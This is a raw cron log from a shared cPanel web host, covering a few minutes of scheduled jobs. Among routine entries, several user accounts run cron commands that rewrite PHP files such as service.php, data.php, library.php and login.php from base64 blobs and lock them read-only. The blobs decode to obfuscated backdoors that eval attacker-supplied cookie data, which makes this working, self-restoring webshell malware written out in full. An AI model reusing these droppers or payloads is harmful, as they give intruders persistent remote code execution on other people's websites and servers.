Apr 19 08:33:01 medusa CROND[16201]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:33:01 medusa CROND[16203]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:33:01 medusa CROND[16204]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:33:01 medusa CROND[16205]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:33:01 medusa CROND[16207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:33:01 medusa CROND[16208]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:33:01 medusa CROND[16214]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:33:01 medusa CROND[16215]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:34:01 medusa CROND[8860]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 08:34:01 medusa CROND[8925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:34:01 medusa CROND[8926]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:34:01 medusa CROND[8927]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:34:01 medusa CROND[8928]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:34:01 medusa CROND[8929]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:34:01 medusa CROND[8930]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:34:01 medusa CROND[8932]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:34:01 medusa CROND[8935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:34:01 medusa CROND[8939]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:34:01 medusa CROND[8941]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:34:01 medusa CROND[8951]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:34:01 medusa CROND[8952]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:35:01 medusa CROND[864]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 08:35:01 medusa CROND[1089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:35:01 medusa CROND[1092]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 08:35:01 medusa CROND[1095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 08:35:01 medusa CROND[1096]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 08:35:01 medusa CROND[1099]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:35:01 medusa CROND[1098]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:35:01 medusa CROND[1103]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:35:01 medusa CROND[1104]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
